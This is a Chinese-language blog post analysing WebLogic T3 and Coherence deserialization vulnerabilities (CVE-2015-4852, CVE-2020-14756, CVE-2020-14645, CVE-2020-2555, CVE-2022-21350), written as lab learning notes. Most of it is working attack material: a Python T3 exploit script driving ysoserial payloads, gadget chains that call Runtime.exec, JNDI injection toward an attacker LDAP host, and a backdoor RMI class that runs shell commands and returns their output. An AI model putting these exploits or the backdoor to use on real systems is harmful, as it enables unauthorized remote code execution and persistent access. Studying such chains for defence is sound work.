weblogic T3反序列化初探

Weblogic t3协议初探

漏洞调试环境搭建

https://cangqingzhe.github.io/2020/10/30/weblogic%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E7%B3%BB%E5%88%97%E4%B9%8B%E8%B0%83%E8%AF%95%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA/

我选择本机搭建

JDK安装包下载地址:https://www.oracle.com/technetwork/java/javase/archive-139210.html Weblogic安装包下载地址:https://www.oracle.com/technetwork/middleware/weblogic/downloads/wls-for-dev-1703574.html

image-20221021175249669

选择jdk

image-20221021175234805

马上启动

创建域

image-20221021174839461

image-20221021175305438

image-20221021175318239

默认就好

配置debug

image-20221021175339392set JAVA_OPTIONS=-Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,address=9999,server=y,suspend=n

img-20221021174801204.(null))

IDEA打开

D:\weblogic\wlserver_10.3

加入依赖

image-20221021175348620

配置debug

image-20221021174855845

就可以进行断点了

全局搜索WLSServletAdapter类,双击shift

image-20221021175407049

这里打断点

image-20221021175414673

访问 http://localhost:7001/wls-wsat/CoordinatorPortType

成功拦截

image-20221021174910459

此时远程debug已经搭建完成

T3协议简介

ServletSessionRuntimeMBean在 modules/com.oracle.weblogic.management.base.jar

weblogic.management.runtime.RuntimeMBean在modules/com.oracle.weblogic.management.core.api.jar

T3 协议是 Weblogic RMI 调用时的通信协议

RMI 即远程方法调用,我们可以远程调用另一台 JVM虚拟机中对象上的方法,且数据传输过程中是序列化进行传输的

当RMI Server 启动的时候端口是被随机分配的,但是我们的RMI Registry端口是知道的

首先我们的RMI Client 会远程连接RMI Registry(默认端口1099),然后会在Registry 寻找名字为Test的对象 (假设此时客户端要调用Test对象中的某个方法),Registry会寻找对应名字的远程对象引用,并且序列化后进行返回(数据内容就是远程对象的地址,这里返回的对象就是前文提到的存根stub),给rmiserver,客户端在接受到之后首先会在本机中的classpath进行查找,如果没有找到则说明是远程对象,客户端就会与远程地址进行tcp连接。

JRMP ,但是也支持开发其他的协议来优化 RMI 的传输,这里的 Weblogic 的 T3 协议就是其优化版本

  1. 客户端通过远程连接 Registry 获取存根(Stub),存根(Stub)中包含了远程对象的定位信息,如Socket端口、服务端主机地址等等,并实现了远程调用过程中具体的底层网络通信细节。
  2. 由于存根(Stub) 是客户端的代理类,所以客户端可以调用Stub上的方法
  3. Stub远程连接到服务器,提交对应的参数
  4. 骨架(Skeleton) 收到数据并对其进行反序列化,然后将发送给我们的Server
  5. Server执行之后将结果进行打包,传输给Client

CVE-2015-4852

Exp

from os import popen

import struct # 负责大小端的转换 

import subprocess

from sys import stdout

import socket

import re

import binascii



def generatePayload(gadget,cmd):

    YSO_PATH = "F:\网络安全\ysoserial-master-8eb5cbfbf6-1.jar"

    popen = subprocess.Popen(['java','-jar',YSO_PATH,gadget,cmd],stdout=subprocess.PIPE)

    return popen.stdout.read()



def T3Exploit(ip,port,payload):

    sock =socket.socket(socket.AF_INET,socket.SOCK_STREAM)

    sock.connect((ip,port))

    handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n"

    sock.sendall(handshake.encode())

    data = sock.recv(1024)

    compile = re.compile("HELO:(.*).0.false")

    match = compile.findall(data.decode())

    if match:

        print("Weblogic: "+"".join(match))

    else:

        print("Not Weblogic")

        return  

    header = binascii.a2b_hex(b"00000000")

    t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006")

    desflag = binascii.a2b_hex(b"fe010000")

    payload = header + t3header  +desflag+  payload

    payload = struct.pack(">I",len(payload)) + payload[4:]

    sock.send(payload)

if __name__ == "__main__":

    ip = "127.0.0.1"

    port = 7001

    gadget = "CommonsCollections1"

    cmd = "curl http://127.0.0.1:8000"

    payload = generatePayload(gadget,cmd)

    T3Exploit(ip,port,payload)

image-20221021174923279

首先我们来看看反序列化怎么走的

image-20221021175426032

我们可以看到整个流

image-20221021175431848

整个脚本先发送

t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n

然后weblogic会回应HELLO和自身版本

【payload长度】【T3协议头】【反序列化标志】【payload】

通常在反序列化数据包中,ac ed 00 05 是反序列化标志,在 T3 协议中由于每个反序列化数据包前面都有 fe 01 00 00 ,所以这里的标志相当于就是 fe 01 00 00 ac ed 00 05

image-20221021175445019

weblogic自带cc链

所以可以用cc1去打因为是java7的

来debug一下这个流程怎么走的

漏洞点在 weblogic.rjvm.InboundMsgAbbrev#readObject 中

image-20221021175451186接受传过来的数据

看到子类 x ,该子类继承自是 ObjectInputStream ,同时重写了 resolveClass 方法,resolveClass方法是ObjectInputStream.readObject()方法执行时必定会进行调用的一个方法,其作用为类的序列化描述符加工成该类的Class对象。

但是这个方法里还是调用了ObjectInputStream.resolveClass方法,由此就反序列化传过来序列化数据,整个调用链就这么简单

image-20221021175500512

接下来看看weblogic包里都有哪些cc链

image-20221021174938044

可以发现weblogic他是自带cc链的

CVE-2020-14756

3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0

在coherence包中 com.tangosol.io.ExternalizableLite 存在反序列化接口

其借助com.tangosol.io.ExternalizableLite实现序列化反序列化逻辑

然后造成Mvel表达式注入

这里学到一个新的反序列化的点

Externalizable接口extends Serializable接口,而且在其基础上增加了两个方法:writeExternal()和readExternal()。这两个方法会在序列化和反序列化还原的过程中被自动调用,以便执行一些特殊的操作。

JAVA 对象序列化(二)--Externalizable - chenfei0801 - 博客园

AttributeHolder实现了Externalizable接口

整个调用链如下

com.tangosol.coherence.servlet.AttributeHolder::readExternal()

    com.tangosol.util.ExternalizableHelper::readObjectInternal()

           com.tangosol.util.ExternalizableHelper::readExternalizableLite()

               com.tangosol.util.aggregator.TopNAggregator::readExterna()

                      com.tangosol.util.aggregator.TopNAggregator::SortedBag()

                          java.util.TreeMap::put()

                              com.tangosol.coherence.rest.util.extractor.AbstractExtractor::compare()

                                  com.tangosol.coherence.rest.util.extractor::MvelExtractor()

                                      MVEL.executeExpression....

相关exp

MvelExtractor extractor = new MvelExtractor("java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");");

MvelExtractor extractor2 = new MvelExtractor("");



try {

    SortedBag sortedBag = new TopNAggregator.PartialResult(extractor2, 2);

    AttributeHolder attributeHolder = new AttributeHolder();

    sortedBag.add(1);



    Common.setSuperFieldValue(sortedBag,"m_comparator",extractor);



    Method setInternalValue = attributeHolder.getClass().getDeclaredMethod("setInternalValue", Object.class);

    setInternalValue.setAccessible(true);

    setInternalValue.invoke(attributeHolder, sortedBag);



    ByteArrayOutputStream barr = new ByteArrayOutputStream();

    ObjectOutputStream oos = new ObjectOutputStream(barr);

    oos.writeObject(attributeHolder);

    oos.close();



    System.out.println(barr);



    ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));

    Object o = (Object)ois.readObject();

https://www.anquanke.com/post/id/231436#h3-4

https://r17a-17.github.io/2021/11/22/Java%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5/

https://y4er.com/posts/weblogic-cve-2020-14756/#%E5%88%86%E6%9E%90

CVE-2020-14645

10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0

也是在coherence包里 jndi注入

和cc4挺像的

PriorityQueue::heapify()

    PriorityQueue::siftDown()

       if this.comparator != null

            PriorityQueue::siftDownUsingComparator()

                ExtractorComparator::compare()

                    UniversalExtractor::extract()

                        UniversalExtractor::extractComplex()

                            JdbcRowSetImpl.....

exp

UniversalExtractor extractor = new UniversalExtractor("getDatabaseMetaData()", null, 1);

final ExtractorComparator comparator = new ExtractorComparator(extractor);



JdbcRowSetImpl rowSet = new JdbcRowSetImpl();

rowSet.setDataSourceName("ldap://"+dns+"/xxx");

final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);



Object[] q = new Object[]{rowSet, rowSet};

SerTools.setFieldValue(queue, "queue", q);

SerTools.setFieldValue(queue, "size", 2);

ByteArrayOutputStream barr = new ByteArrayOutputStream();

ObjectOutputStream oos = new ObjectOutputStream(barr);

oos.writeObject(queue);

oos.close();

CVE-2020-2555

我这里用的weblogic 12.2.1.4

该漏洞位于Oracle Coherence组件中。该组件是业内领先的用于解决集群应用程序数据的缓存的解决方案,其默认集成在Weblogic12c及以上版本中。

该漏洞提出了一条新的反序列化gadget,未经身份验证的攻击者通过精心构造的T3请求触发可以反序列化gadget,最终造成远程命令执行的效果。

C:\weblogic\weblogic12.2.1.4\coherence\lib

BadAttributeValueExpException.readObject()

   com.tangosol.util.filter.LimitFilter.toString()

     com.tangosol.util.extractor.ChainedExtractor.extract()

         com.tangosol.util.extractor.ReflectionExtractor().extract()

这个链子还是挺短的

跟进分析一下

image-20221021175512051

发现extract()的是接口 ValueExtractor 的方法

查看这个接口的实现类,发现ReflectionExtractor,通过反射将类进行实例化,当属性m_methodPrev为空时,查找m_sMethod方法并进行invoke实例化

image-20221021174949623

看到这里,相信分析过yso上的cc链应该很熟悉了,我这里放一张图

image-20221021175519153

是不是很相似,由此,我们需要找到类似ChainedTransformer类一样功能的类,刚好有一个实现类叫

ChainedExtractor,和ChainedTransformer一样的功能

image-20221021175003711

由此链子就通了,开始构造

ReflectionExtractor[] extractors = {

        new ReflectionExtractor(

                "getMethod",

            new Object[]{"getRuntime", new Class[0]}

        ),

        new ReflectionExtractor(

        "invoke",

        new Object[]{null, new Object[0]}

        ),

        new ReflectionExtractor(

        "exec",

        new Object[]{new String[]{"calc"}}

),

};

ChainedExtractor chainedExtractor = new ChainedExtractor(extractors);

LimitFilter limitFilter = new LimitFilter();



Common.setFieldValue(limitFilter,"m_comparator",chainedExtractor);

Common.setFieldValue(limitFilter,"m_oAnchorTop",Runtime.class);



BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);

Common.setFieldValue(badAttributeValueExpException,"val",limitFilter);

如何回显?

利用RMI/IIOP RCE回显

这篇文章讲的很清楚了

Java 回显综述

恶意rmi类的实现条件

1、类要实现RMI接口(只要是继承Remote的接口,因为要把自身绑定为Reference)

2、RMI接口(这里是ClusterMasterRemote)必须有返回String类型的方法,因为要返回RCE的输出结果

  • 利用漏洞点调用ClassLoader的defineClass方法
  • 写入类:defineClass在目标服务器运行返回我们构造的类(已经写好的RMI接口类)
  • 绑定类:将RMI接口类绑定到目标服务器,也就是将我们构造的恶意类注册到rmi注册中心
  • 攻击者本地远程调用方法获取回显结果

用ClusterMasterRemote 构造本恶意rmi类

ClusterMasterRemote接口是weblogic自带依赖包中接口,同时实现了 Remote 接口,所以只需要继承他即可把自身绑定为Reference

package fun.fireline.tools;



import weblogic.cluster.singleton.ClusterMasterRemote;



import javax.naming.Context;

import javax.naming.InitialContext;

import java.rmi.RemoteException;



public class EvalRMI implements ClusterMasterRemote {

    public static void main(String[] args) {

        try {

            EvalRMI evalRMI = new EvalRMI();

            if (args.length == 2 && args[0].equalsIgnoreCase("blind")) {

                evalRMI.getServerLocation(args[1]);

            } else if (args.length == 1) {

                Context ctx = new InitialContext();

                if (args[0].equalsIgnoreCase("install")) {

                    ctx.rebind("penson", evalRMI);

                } else if (args[0].equalsIgnoreCase("uninstall")) {

                    ctx.unbind("penson");

                }

            }

        } catch (Exception e) {

            e.printStackTrace();

        }

    }



    @Override

    public void setServerLocation(String s, String s1) throws RemoteException {



    }



    @Override

    public String getServerLocation(String cmd) throws RemoteException {

        if( cmd.startsWith("penson")) {

            try {

                cmd=cmd.substring(6);

                String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};

                Process process = Runtime.getRuntime().exec(cmds);

                java.io.BufferedReader bufferedReader = new java.io.BufferedReader(

                        new java.io.InputStreamReader(process.getInputStream()));

                StringBuilder stringBuilder = new StringBuilder();

                String line;

                while ((line = bufferedReader.readLine()) != null) {

                    stringBuilder.append(line + '\n');

                }

                return stringBuilder.toString();

            } catch (Exception e) {

                return e.getMessage();

            }

        }else{

            return "need a key to rce";

        }

    }

}

然后需要用一个类似ClassLoader加载这个类

找到其子类的子类weblogic.utils.classloaders.ClasspathClassLoader

看到其父类

GenericClassLoader的defindCodeGenClass方法,这里通过Class.forName方法拿到我们需要的类

image-20221021175530320

由此可以根据这个方法来构造加载恶意的rmi

构造回显链

ValueExtractor[] extractors = {

        new ReflectionExtractor("getDeclaredConstructor", new Object[]{new Class[0]}),

        new ReflectionExtractor("newInstance", new Object[]{new Object[0]}),

        new ReflectionExtractor("defineCodeGenClass", new Object[]{ClassName, clsData,null}),

        new ReflectionExtractor("getMethod", new Object[]{"main", new Class[]{String[].class}}),

        new ReflectionExtractor("invoke", new Object[]{null, new Object[]{args}})

};



ChainedExtractor chainedExtractor = new ChainedExtractor(extractors);

LimitFilter limitFilter = new LimitFilter();



SerTools.setFieldValue(limitFilter,"m_comparator",chainedExtractor);

SerTools.setFieldValue(limitFilter,"m_oAnchorTop", ClasspathClassLoader.class);



BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);





SerTools.setFieldValue(badAttributeValueExpException,"val",limitFilter);

注入之后如何连接?

用的weblogic自带的连接方式

下面的Environment类来自wlfullclient.jar,weblogic其他jar包也有这个类,容易搞混

为什么会有WeblogicTrustManager,如果目标是https,需要拿到信任

该类继承自

weblogic.security.SSL.TrustManager

import weblogic.jndi.Environment;



public class WeblogicTrustManager implements TrustManager {

    @Override

    public boolean certificateCallback(X509Certificate[] x509Certificates, int i) {

        return true;

    }

}





public static String converUrl(String host, String port,String model) {

    if (model.contains("https")) {

        return "t3s://" + host + ":" + port;

    } else {

        return "t3://" + host + ":" + port;

    }

}



public static Context getInitialContext(String url) throws NamingException, FileNotFoundException {

    Environment environment = new Environment();

    environment.setProviderUrl(url);

    environment.setEnableServerAffinity(false);

    environment.setSSLClientTrustManager(new WeblogicTrustManager());

    return environment.getInitialContext();

}





Context initialContext = getInitialContext(converUrl("ip", "port", "http"));

ClusterMasterRemote remoteCode = (ClusterMasterRemote) initialContext.lookup("penson");

拿到远程类的对象后,我们即可调用getServerLocation方法来获取命令执行回显的结果

参考:

https://xz.aliyun.com/t/7228#toc-0

https://paper.seebug.org/1442/

https://hpdoger.cn/2021/01/28/title:%20Weblogic%20T3%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%9B%9E%E6%98%BE%E5%88%A9%E7%94%A8(CVE-2020-2555)/

https://github.com/5up3rc/weblogic_cmd/

10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0

也是在coherence包里 jndi注入

和cc4挺像的

PriorityQueue::heapify()

    PriorityQueue::siftDown()

       if this.comparator != null

            PriorityQueue::siftDownUsingComparator()

                ExtractorComparator::compare()

                    UniversalExtractor::extract()

                        UniversalExtractor::extractComplex()

                            JdbcRowSetImpl.....

CVE-2022-21350

https://xz.aliyun.com/t/10918

Weblogic 分析

this.attributes是一个Map,实现类是C

oncurrentHashMap,获取wl_debug_session的value,这里是AttributeWrapper对象

image-20221021175537766

https://sec.lz520520.co

m/2022/03/654/#122140

https://mp.weixin.qq.com/s/wfcIba5UKarBeeFxdJmhvg

https://xie.infoq.cn/article/fd9a9c7d7513f56086df90096

https://mp.weixin.qq.com/s?__biz=MzkzNjMxNDM0Mg==&mid=2247483948&idx=1&sn=c4702a9da9f166dc2ad2f5772f58f066&chksm=c2a1d6a5f5d65fb343cd5197b4b20602fd0ae8aa9f041c4b31b8fdef4e51defad0d6f646897e&token=586796591&lang=zh_CN#rd

javax.management.BadAttributeValueExpException->readObject

  weblogic.servlet.internal.session.FileSessionData->toString

    weblogic.servlet.internal.session.FileSessionData->isDebuggingSession

      weblogic.servlet.internal.session.FileSessionData->getAttribute

        weblogic.servlet.internal.session.FileSessionData->getAttributeInternal

          weblogic.servlet.internal.session.AttributeWrapperUtils->unwrapObject

            weblogic.servlet.internal.session.AttributeWrapperUtils->unwrapEJBObjects

              weblogic.ejb.container.internal.BusinessHandleImpl->getBusinessObject

                weblogic.ejb20.internal.HomeHandleImpl->getEJBHome

                  javax.naming.InitialContext->lookup

调用jndi类

weblogic.jndi.WLInitialContextFactory,url的scheme在weblogic我们是用T3/IIOP

要有恶意的T3/IIOP server才能利用成功

weblogic所有类的所在的包

C:\weblogic\weblogic12.2.1.4\weblogic\inventory\Components\oracle.com.fasterxml.jackson.core.jackson.annotations\2.9.9.0.0\compDef.xml

 String url="t3://"+dns+"/xx";
        Name name = new LdapName("cn=x,dc=x");
        HomeHandleImpl homeHandle = new HomeHandleImpl();
        //设置jndiName
        SerTools.setFieldValue(homeHandle,"jndiName",name);
        //设置serverURL
        SerTools.setFieldValue(homeHandle,"serverURL",url);

        BusinessHandleImpl businessHandle = new BusinessHandleImpl();
        //设置homeHandle
        SerTools.setFieldValue(businessHandle,"homeHandle",homeHandle);



        String attribute="weblogic/servlet/internal/AttributeWrapper.class";
        String jarpath="com.oracle.weblogic.servlet.jar";

        //找到com.oracle.weblogic.servlet.jar

        Class<?> findclassAttribute = Findjar.findclass(jarpath, attribute);
        Constructor<?> constructor = findclassAttribute.getConstructor(Object.class);
        Object  AttributeWrapper= constructor.newInstance(new Object());


        SerTools.setFieldValue(AttributeWrapper,"isEJBObjectWrapped", true);
        SerTools.setFieldValue(AttributeWrapper,"object",businessHandle);

        String fileSessionData="weblogic/servlet/internal/session/FileSessionData.class";

        Class<?> findclassfilesession = Findjar.findclass(jarpath, fileSessionData);
        Object FileSessionData = findclassfilesession.getConstructor().newInstance();


        Map map = new HashMap<>();
        map.put("wl_debug_session", AttributeWrapper);

        SerTools.setSuperFieldValue(FileSessionData,"attributes",map);

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        SerTools.setFieldValue(badAttributeValueExpException,"val",FileSessionData);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(badAttributeValueExpException);
        oos.close();

Exp

当我们写成ldap协议的地址,就会按照ldap协议请求加载远程数据。但是这里我们可控的是jndiName的字段类型是Name

image-20221021175549725

image-20221021175555488

Ldap的地址来源于scheme变量,只要我们控制scheme变量为我们恶意的Ldap地址,就可以进行常规的基于LDAP协议的JNDI注入。这里最关键的就是让name.get(0) == "ldap://xxxx.xxx.xx.xxx:1389/xxx"

javax.naming.CompoundName

javax.naming.CompositeName

com.sun.jndi.dns.DnsName

com.sun.jndi.toolkit.dir.HierarchicalName

com.sun.jndi.ldap.LdapName

javax.naming.ldap.LdapName

我们采取CompoundName类,这里有个缺点,搞不了rmi请求

String url="t3://10.211.55.9:7001/xx";//目标机器地址



Properties properties = new Properties();

Name compoundName = new CompoundName("ldap://192.168.2.1:1389/svtfjq", properties);

HomeHandleImpl homeHandle = new HomeHandleImpl();

//设置jndiName

Common.setFieldValue(homeHandle,"jndiName",compoundName);

//设置serverURL

Common.setFieldValue(homeHandle,"serverURL",url);



BusinessHandleImpl businessHandle = new BusinessHandleImpl();

//设置homeHandle

Common.setFieldValue(businessHandle,"homeHandle",homeHandle);





AttributeWrapperUtils attributeWrapperUtils = new AttributeWrapperUtils();



AttributeWrapper attributeWrapper = new AttributeWrapper(businessHandle);



Common.setFieldValue(attributeWrapper,"isEJBObjectWrapped", true);



FileSessionData fileSessionData = new FileSessionData();

Map map = new HashMap<>();

map.put("wl_debug_session", attributeWrapper);



Common.setSuperFieldValue(fileSessionData,"attributes",map);

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);

Common.setFieldValue(badAttributeValueExpException,"val",fileSessionData);

文章作者: penson
文章链接: https://www.penson.top
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 penson !
评论
  目录

梨花香-霜雪千年